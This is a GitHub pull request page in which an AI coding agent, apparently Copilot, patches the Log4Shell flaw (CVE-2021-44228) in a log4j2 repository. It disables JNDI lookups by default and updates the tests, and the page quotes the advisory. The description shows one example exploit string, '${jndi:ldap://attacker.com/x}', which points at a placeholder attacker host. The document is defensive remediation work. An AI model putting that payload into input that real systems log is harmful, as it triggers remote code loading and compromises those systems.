Skip to content

Fix Log4Shell (CVE-2021-44228): disable JNDI lookups and message substitution by default in v2.15.0 - #4

Draft
Andrew Labus (ALabus6) with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-log4j-remote-code-injection-another-one
Draft

Fix Log4Shell (CVE-2021-44228): disable JNDI lookups and message substitution by default in v2.15.0#4
Andrew Labus (ALabus6) with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-log4j-remote-code-injection-another-one

Conversation

Copilot AI commented Apr 30, 2026

Copy link
Copy Markdown

Apache Log4j 2.14.1 allows RCE when attacker-controlled input reaches a logger — a ${jndi:ldap://attacker.com/x} string in any logged value triggers an outbound LDAP lookup and remote class load. This is the Log4Shell vulnerability (CVE-2021-44228).

Changes

  • Version: bumped all module POMs from 2.14.12.15.0

  • JndiLookup.java: JNDI lookups now return null by default. Opt-in via -Dlog4j2.enableJndiLookup=true. The check is dynamic (not a static final) so it can be toggled without class reload:

    static boolean isJndiEnabled() {
        return PropertiesUtil.getProperties().getBooleanProperty("log4j2.enableJndiLookup", false);
    }
  • Constants.java: FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS default flipped from falsetrue. This disables ${…} substitution in log messages by default, severing the primary attack vector before it reaches JndiLookup. Opt-out via -Dlog4j2.formatMsgNoLookups=false.

Test updates

  • JndiLookupTest: rewritten to assert JNDI is disabled and returns null by default
  • InterpolatorTest: JNDI assertions updated to expect null; JndiRule dependency removed
  • MessagePatternConverterTest: testLookupEnabledByDefaulttestLookupDisabledByDefault with inverted assertion; testLookup now expects unreplaced ${foo} literal
  • RoutingAppenderWithJndiTest: adds @BeforeClass/@AfterClass to explicitly set log4j2.enableJndiLookup=true since this test legitimately exercises JNDI-based appender routing

Reachability

High confidence — actively reachable. This repository is the vulnerable library at 2.14.1. The full attack chain exists in-tree: MessagePatternConverterStrSubstitutorJndiLookupJndiManager.context.lookup(name). Any application logging untrusted input is exposed.

Warning

Firewall rules blocked me from connecting to one or more addresses (expand for details)

I tried to connect to the following addresses, but was blocked by firewall rules:

  • repository.apache.org
    • Triggering command: /usr/lib/jvm/temurin-17-jdk-amd64/bin/java /usr/lib/jvm/temurin-17-jdk-amd64/bin/java --enable-native-access=ALL-UNNAMED -classpath /usr/share/apache-maven-3.9.14/boot/plexus-classworlds-2.9.0.jar -Dclassworlds.conf=/usr/share/apache-maven-3.9.14/bin/m2.conf -Dmaven.home=/usr/share/apache-maven-3.9.14 -Dlibrary.jansi.path=/usr/share/apache-maven-3.9.14/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/home/REDACTED/work/logging-log4j2/logging-log4j2 org.codehaus.plexus.classworlds.launcher.Launcher test -pl log4j-core -Dtest=JndiLookupTest,InterpolatorTest,MessagePatternConverterTest -Dsurefire.failIfNoSpecifiedTests=false --no-transfer-progress -q (dns block)
    • Triggering command: /usr/lib/jvm/temurin-17-jdk-amd64/bin/java /usr/lib/jvm/temurin-17-jdk-amd64/bin/java --enable-native-access=ALL-UNNAMED -classpath /usr/share/apache-maven-3.9.14/boot/plexus-classworlds-2.9.0.jar -Dclassworlds.conf=/usr/share/apache-maven-3.9.14/bin/m2.conf -Dmaven.home=/usr/share/apache-maven-3.9.14 -Dlibrary.jansi.path=/usr/share/apache-maven-3.9.14/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/home/REDACTED/work/logging-log4j2/logging-log4j2 org.codehaus.plexus.classworlds.launcher.Launcher versions:set -DnewVersion=2.15.0 --no-transfer-progress -q (dns block)
    • Triggering command: /usr/lib/jvm/temurin-17-jdk-amd64/bin/java /usr/lib/jvm/temurin-17-jdk-amd64/bin/java --enable-native-access=ALL-UNNAMED -classpath /usr/share/apache-maven-3.9.14/boot/plexus-classworlds-2.9.0.jar -Dclassworlds.conf=/usr/share/apache-maven-3.9.14/bin/m2.conf -Dmaven.home=/usr/share/apache-maven-3.9.14 -Dlibrary.jansi.path=/usr/share/apache-maven-3.9.14/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/home/REDACTED/work/logging-log4j2/logging-log4j2 org.codehaus.plexus.classworlds.launcher.Launcher install -DskipTests --no-transfer-progress -pl log4j-api,log4j-api-java9,log4j-core,log4j-core-java9 -am -q (dns block)

If you need me to access, download, or install something from one of these locations, you can either:

Original prompt

This section details the Dependabot vulnerability alert you should resolve

<alert_title>Remote code injection in Log4j</alert_title>
<alert_description># Summary

Log4j versions prior to 2.16.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
As per Apache's Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.16.0, this behavior has been disabled by default.

Log4j version 2.15.0 contained an earlier fix for the vulnerability, but that patch did not disable attacker-controlled JNDI lookups in all situations. For more information, see the Updated advice for version 2.16.0 section of this advisory.

Impact

Logging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.

Affected versions

Any Log4J version prior to v2.15.0 is affected to this specific issue.

The v1 branch of Log4J which is considered End Of Life (EOL) is vulnerable to other RCE vectors so the recommendation is to still update to 2.16.0 where possible.

Security releases

Additional backports of this fix have been made available in versions 2.3.1, 2.12.2, and 2.12.3

Affected packages

Only the org.apache.logging.log4j:log4j-core package is directly affected by this vulnerability. The org.apache.logging.log4j:log4j-api should be kept at the same version as the org.apache.logging.log4j:log4j-core package to ensure compatability if in use.

Remediation Advice

Updated advice for version 2.16.0

The Apache Logging Services team provided updated mitigation advice upon the release of version 2.16.0, which disables JNDI by default and completely removes support for message lookups.
Even in version 2.15.0, lookups used in layouts to provide specific pieces of context information will still recursively resolve, possibly triggering JNDI lookups. This problem is being tracked as CVE-2021-45046. More information is available on the GitHub Security Advisory for CVE-2021-45046.

Users who want to avoid attacker-controlled JNDI lookups but cannot upgrade to 2.16.0 must ensure that no such lookups resolve to attacker-provided data and ensure that the the JndiLookup class is not loaded.

Please note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we recommend you migrate to Log4J 2.16.0 where possible.</alert_description>

critical
GHSA-jfh8-c2jp-5v3q, CVE-2021-44228
org.apache.logging.log4j:log4j-core
maven
<vulnerable_versions>= 2.14.1</vulnerable_versions>
<patched_version>2.15.0</patched_version>
<manifest_path>pom.xml</manifest_path>

https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://github.com/apache/logging-log4j2/pull/608 https://github.com/tangxiaofeng7/apache-log4j-poc https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0 https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://issues.apache.org/jira/browse/LOG4J2-3198 https://issues.apache.org/jira/browse/LOG4J2-3201 https://logging.apache.org/log4j/2.x/manual/migration.html https://logging.apache.org/log4j/2.x/security.html http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html http://www.openwall.com/lists/oss-security/2021/12/10/1 http://www.openwall.com/lists/oss-security/2021/12/10/2 http://www.openwall.com/lists/oss-security/2021/12/10/3 https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032 https://issues.apache.org/jira/browse/LOG4J2-3214 https://www.oracle.com/security-alerts/alert-cve-2021-44228.html http://www.openwall.com/lists/oss-security/2021/12/13/1 http://www.openwall.com/lists/oss-security/2021/12/13/2 https://issues.apache.org/jira/browse/LOG4J2-3221 https://github.com/advisories/GHSA-7rjr-3q55-vv33 https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf https://lists.debian.org/debian-lt...
  • Resolves octodemo/logging-log4j2 alert #11

…titution by default in 2.15.0

Agent-Logs-Url: https://github.com/octodemo/logging-log4j2/sessions/d61adcdd-fcba-4225-9d4f-4ef1822debfb

Co-authored-by: ALabus6 <120124020+ALabus6@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix remote code injection vulnerability in Log4j Fix Log4Shell (CVE-2021-44228): disable JNDI lookups and message substitution by default in v2.15.0 Apr 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants